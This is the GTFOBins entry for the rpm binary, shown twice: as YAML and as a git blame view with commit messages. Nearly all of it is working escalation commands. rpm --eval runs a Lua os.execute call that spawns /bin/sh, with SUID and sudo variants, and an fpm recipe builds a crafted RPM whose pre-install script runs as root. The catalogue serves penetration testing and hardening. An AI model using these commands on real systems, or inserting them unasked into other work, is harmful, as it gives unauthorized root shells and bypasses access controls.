GTFOBins.github.io/_gtfobins/rpm.md

---
functions:
  shell:
    - code: rpm --eval '%{lua:os.execute("/bin/sh")}'
  suid:
    - code: ./rpm --eval '%{lua:os.execute("/bin/sh", "-p")}'
  sudo:
    - code: sudo rpm --eval '%{lua:os.execute("/bin/sh")}'
    - description: |
        It runs commands using a specially crafted RPM package. Generate it with [fpm](https://github.com/jordansissel/fpm) and upload it to the target.
        ```
        TF=$(mktemp -d)
        echo 'id' > $TF/x.sh
        fpm -n x -s dir -t rpm -a all --before-install $TF/x.sh $TF
        ```
      code: |
        sudo rpm -ivh x-1.0-1.noarch.rpm
---
First commit 2018-05-21 19:14:41 +00:00			`---`
			`functions:`
Adopt new function names 2018-10-05 17:55:38 +00:00			`shell:`
Use os.execute instead of posix.exec in rpm From rpm versions 4.9.0 and on, posix.exec() will return an error unless called from a child process created with posix.fork(). os.execute() may be used instead. This change is documented in these two resources: - http://rpm.org/user_doc/lua.html - https://rpm-packaging-guide.github.io/ Close #53. 2019-02-14 11:29:22 +00:00			`- code: rpm --eval '%{lua:os.execute("/bin/sh")}'`
Adopt new function names 2018-10-05 17:55:38 +00:00			`suid:`
Use os.execute instead of posix.exec in rpm From rpm versions 4.9.0 and on, posix.exec() will return an error unless called from a child process created with posix.fork(). os.execute() may be used instead. This change is documented in these two resources: - http://rpm.org/user_doc/lua.html - https://rpm-packaging-guide.github.io/ Close #53. 2019-02-14 11:29:22 +00:00			`- code: ./rpm --eval '%{lua:os.execute("/bin/sh", "-p")}'`
Adopt new function names 2018-10-05 17:55:38 +00:00			`sudo:`
Use os.execute instead of posix.exec in rpm From rpm versions 4.9.0 and on, posix.exec() will return an error unless called from a child process created with posix.fork(). os.execute() may be used instead. This change is documented in these two resources: - http://rpm.org/user_doc/lua.html - https://rpm-packaging-guide.github.io/ Close #53. 2019-02-14 11:29:22 +00:00			`- code: sudo rpm --eval '%{lua:os.execute("/bin/sh")}'`
Add other sudo to rpm thanks to https://lsdsecurity.com/2019/01/linux-privilege-escalation-using-apt-get-apt-dpkg-to-abuse-sudo-nopasswd-misconfiguration/ as in #51 2019-02-02 15:54:57 +00:00			`- description: \|`
			`It runs commands using a specially crafted RPM package. Generate it with [fpm](https://github.com/jordansissel/fpm) and upload it to the target.`
			```
			`TF=$(mktemp -d)`
			`echo 'id' > $TF/x.sh`
			`fpm -n x -s dir -t rpm -a all --before-install $TF/x.sh $TF`
			```
			`code: \|`
			`sudo rpm -ivh x-1.0-1.noarch.rpm`
Fix trailing spaces 2018-05-24 23:10:39 +00:00			`---`